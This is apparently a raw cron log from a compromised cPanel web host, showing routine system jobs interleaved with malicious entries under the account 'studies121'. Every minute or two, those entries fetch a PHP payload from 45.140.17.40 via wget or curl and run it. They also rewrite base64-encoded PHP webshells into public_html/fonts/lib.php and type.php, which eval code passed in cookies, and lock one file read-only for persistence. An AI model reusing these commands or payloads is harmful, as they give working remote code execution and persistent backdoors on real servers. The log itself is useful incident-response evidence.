Sep 20 22:12:01 ip-184-168-122-23 CROND[16793]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:12:01 ip-184-168-122-23 CROND[16794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:13:01 ip-184-168-122-23 CROND[16884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:13:01 ip-184-168-122-23 CROND[16886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:13:01 ip-184-168-122-23 CROND[16888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:13:01 ip-184-168-122-23 CROND[16887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:14:01 ip-184-168-122-23 CROND[16972]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:14:01 ip-184-168-122-23 CROND[16974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:14:01 ip-184-168-122-23 CROND[16973]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:14:01 ip-184-168-122-23 CROND[16975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:14:01 ip-184-168-122-23 CROND[16976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:15:01 ip-184-168-122-23 CROND[17163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:15:01 ip-184-168-122-23 CROND[17165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:15:01 ip-184-168-122-23 CROND[17167]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 22:15:01 ip-184-168-122-23 CROND[17166]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 20 22:15:01 ip-184-168-122-23 CROND[17168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:15:01 ip-184-168-122-23 CROND[17169]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 22:15:01 ip-184-168-122-23 CROND[17170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:16:01 ip-184-168-122-23 CROND[17267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:16:01 ip-184-168-122-23 CROND[17268]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:16:01 ip-184-168-122-23 CROND[17272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:16:01 ip-184-168-122-23 CROND[17274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:16:01 ip-184-168-122-23 CROND[17275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:16:01 ip-184-168-122-23 CROND[17271]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 22:17:01 ip-184-168-122-23 CROND[17363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:17:01 ip-184-168-122-23 CROND[17365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:17:01 ip-184-168-122-23 CROND[17368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:17:01 ip-184-168-122-23 CROND[17366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:18:01 ip-184-168-122-23 CROND[17473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:18:01 ip-184-168-122-23 CROND[17476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:18:01 ip-184-168-122-23 CROND[17477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:18:01 ip-184-168-122-23 CROND[17478]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:18:01 ip-184-168-122-23 CROND[17479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:19:01 ip-184-168-122-23 CROND[17575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:19:01 ip-184-168-122-23 CROND[17576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:19:01 ip-184-168-122-23 CROND[17577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:19:01 ip-184-168-122-23 CROND[17578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:20:01 ip-184-168-122-23 CROND[17753]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 22:20:01 ip-184-168-122-23 CROND[17754]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 22:20:01 ip-184-168-122-23 CROND[17758]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 22:20:02 ip-184-168-122-23 CROND[17760]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 22:20:02 ip-184-168-122-23 CROND[17762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:20:02 ip-184-168-122-23 CROND[17763]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:20:02 ip-184-168-122-23 CROND[17761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:20:02 ip-184-168-122-23 CROND[17764]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:20:02 ip-184-168-122-23 CROND[17766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:21:01 ip-184-168-122-23 CROND[17866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:21:01 ip-184-168-122-23 CROND[17868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:21:01 ip-184-168-122-23 CROND[17870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:21:01 ip-184-168-122-23 CROND[17869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:22:01 ip-184-168-122-23 CROND[17952]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:22:01 ip-184-168-122-23 CROND[17954]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:22:01 ip-184-168-122-23 CROND[17956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:22:01 ip-184-168-122-23 CROND[17955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:22:01 ip-184-168-122-23 CROND[17957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:23:01 ip-184-168-122-23 CROND[18055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:23:01 ip-184-168-122-23 CROND[18056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:23:01 ip-184-168-122-23 CROND[18057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:23:01 ip-184-168-122-23 CROND[18059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:24:02 ip-184-168-122-23 CROND[18143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:24:02 ip-184-168-122-23 CROND[18145]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:24:02 ip-184-168-122-23 CROND[18146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:24:02 ip-184-168-122-23 CROND[18149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:24:02 ip-184-168-122-23 CROND[18148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
